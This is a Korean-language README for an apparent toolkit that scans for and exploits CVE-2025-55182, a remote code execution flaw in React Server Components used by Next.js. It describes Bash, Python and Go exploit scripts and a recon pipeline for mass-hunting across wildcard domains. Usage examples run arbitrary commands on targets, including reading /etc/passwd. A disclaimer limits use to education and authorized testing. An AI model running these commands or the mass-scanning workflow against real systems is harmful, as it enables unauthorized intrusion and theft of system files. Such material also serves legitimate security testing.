CVE-2025-55182: React Server Components RCE 스캐너

Next.js 애플리케이션에서 React Server Components를 사용하는 CVE-2025-55182 심각한 원격 코드 실행 취약점을 탐지 및 악용하기 위한 포괄적인 도구 키트입니다.

이 저장소는 통합 Bash 스캐너(단일 및 대량 모드), Python/Go 구현, 버그 바운티 정찰 워크플로우를 제공합니다.

📂 저장소 구조

• scanner.sh — 단일 대상 및 대량 스캐닝을 위한 올인원 Bash 스크립트
• python/exploit.py — 안정적인 Python 구현 (더 나은 JSON 이스케이프)
• go/main.go — 고성능 구현 (컴파일 가능)

🚀 정찰 워크플로우 (버그 바운티 방법론)

와일드카드 도메인에서 대량 사냥을 위해, 스캔 전에 대상을 필터링하는 이 파이프라인을 사용하세요:

# 1. Enumerate subdomains
subfinder -dL wildcards.txt -all -recursive > subs.txt

# 2. Filter for live hosts
httpx -l subs.txt -o live.txt

# 3. Pre-scan detection using Nuclei (optional)
nuclei -l live.txt -t CVE-2025-55182.yaml -o final.txt

🛠️ Bash 스캐너 사용법 (권장)

scanner.sh 스크립트는 단일 대상 스캔과 파일 목록에서 대량 스캔을 지원합니다.

🔧 설치

chmod +x scanner.sh

1️⃣ 단일 대상 모드

상세 출력으로 특정 대상을 확인하는 데 가장 적합합니다.

# Basic check (defaults to "id")
./scanner.sh -d example.com

# Execute custom command
./scanner.sh -d https://target.com -c "cat /etc/passwd"

2️⃣ 대량 스캔 모드

URL 목록을 효율적으로 스캔하고 취약한 호스트를 파일에 저장합니다.

# Scan a list of URLs
./scanner.sh -l live.txt -c "whoami"

# Custom output file
./scanner.sh -l live.txt -o my_bounty.txt

옵션

🐍 Python 버전

Bash에서 특수 문자 이스케이프에 문제가 있을 경우 사용하세요.

요구 사항

pip install requests

사용법

python3 python/exploit.py -u http://target.com -c "uname -a"

🐹 Go 버전

고성능, 최소 의존성.

직접 실행

go run go/main.go -u http://target.com -c "id"

바이너리 빌드

cd go
go build -o cve-scanner main.go
./cve-scanner -u http://target.com

⚠️ 면책 조항

이 도구는 교육 목적 및 공인된 보안 테스트용으로만 사용됩니다. 무단 사용은 엄격히 불법입니다. 개발자는 본 프로그램의 오용 또는 손해에 대해 책임을 지지 않습니다.

🔗 참고 자료

• NVD CVE 상세: https://nvd.nist.gov/vuln/detail/CVE-2025-55182

• React 보안 권고 (React Server Components 취약점): https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components

• ProjectDiscovery Nuclei 템플릿: https://cloud.projectdiscovery.io/library/CVE-2025-55182